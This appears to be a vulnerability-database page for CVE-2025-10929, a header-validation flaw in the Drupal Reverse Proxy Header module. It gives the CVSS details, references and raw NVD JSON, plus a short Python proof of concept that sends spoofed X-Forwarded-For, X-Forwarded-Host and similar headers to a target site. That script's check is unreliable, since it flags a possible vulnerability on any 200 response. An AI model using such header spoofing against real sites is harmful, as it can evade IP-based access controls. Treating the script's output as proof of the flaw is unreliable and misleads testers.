CVE-2025-10929

Description

Improper Validation of Consistency within Input vulnerability in Drupal Reverse Proxy Header allows Manipulating User-Controlled Variables.This issue affects Reverse Proxy Header: from 0.0.0 before 1.1.2.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:reverse_proxy_header_project:reverse_proxy_header:*:*:*:*:*:drupal:*:* - VULNERABLE

Drupal Reverse Proxy Header模块 < 1.1.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-10929 PoC - Drupal Reverse Proxy Header Manipulation
# Target: Drupal site with vulnerable Reverse Proxy Header module (< 1.1.2)

target_url = "http://target-drupal-site.com"

# Malicious headers to manipulate user-controlled variables
malicious_headers = {
    'X-Forwarded-For': '127.0.0.1',  # Fake IP address
    'X-Forwarded-Proto': 'https',     # Manipulate protocol
    'X-Forwarded-Host': 'malicious-site.com',  # Fake host
    'X-Real-IP': '10.0.0.1',
    'Client-IP': '192.168.1.1'
}

try:
    response = requests.get(target_url, headers=malicious_headers, timeout=10)
    print(f"Status Code: {response.status_code}")
    print(f"Response Headers: {response.headers}")
    # Check if the headers are reflected or processed without validation
    if 'X-Forwarded' in str(response.headers) or response.status_code == 200:
        print("[+] Potential vulnerability - headers accepted without validation")
except requests.exceptions.RequestException as e:
    print(f"[-] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-10929
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-10929
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-10929/
[4] VulDB https://vuldb.com/cve/CVE-2025-10929
[5] https://www.drupal.org/sa-contrib-2025-111

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-10929", "sourceIdentifier": "[email protected]", "published": "2025-10-30T00:15:34.187", "lastModified": "2025-12-12T17:51:52.840", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Validation of Consistency within Input vulnerability in Drupal Reverse Proxy Header allows Manipulating User-Controlled Variables.This issue affects Reverse Proxy Header: from 0.0.0 before 1.1.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1288"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:reverse_proxy_header_project:reverse_proxy_header:*:*:*:*:*:drupal:*:*", "versionEndExcluding": "1.1.2", "matchCriteriaId": "21179068-C492-45BC-B457-6ACF51F9369C"}]}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2025-111", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}